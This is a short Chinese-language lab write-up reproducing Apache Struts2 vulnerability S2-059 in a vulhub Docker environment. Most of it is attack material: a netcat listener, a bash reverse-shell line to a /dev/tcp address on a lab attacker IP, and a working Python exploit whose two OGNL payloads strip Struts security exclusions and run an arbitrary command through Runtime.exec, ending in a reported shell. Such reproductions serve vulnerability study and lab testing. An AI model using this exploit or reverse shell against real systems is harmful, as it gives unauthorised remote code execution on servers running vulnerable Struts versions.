S2-059复现
漏洞环境搭建
docker-compose + vulhub
进入 s2-059目录后 docker-compose up -d
访问 ip:8080 即可
漏洞简介及影响范围
攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
Struts 2.0.0 – Struts 2.5.20
复现过程
kali开启监听:
nc -lvp 6666
将 bash -i >& /dev/tcp/192.168.159.131/6666 0>&1 进行编码
编码网站:
http://www.jackson-t.ca/runtime-exec-payloads.html
复现 exp
import requests
url = "http://192.168.159.131:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('这里填编码后的payload'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
运行后成功弹回 shell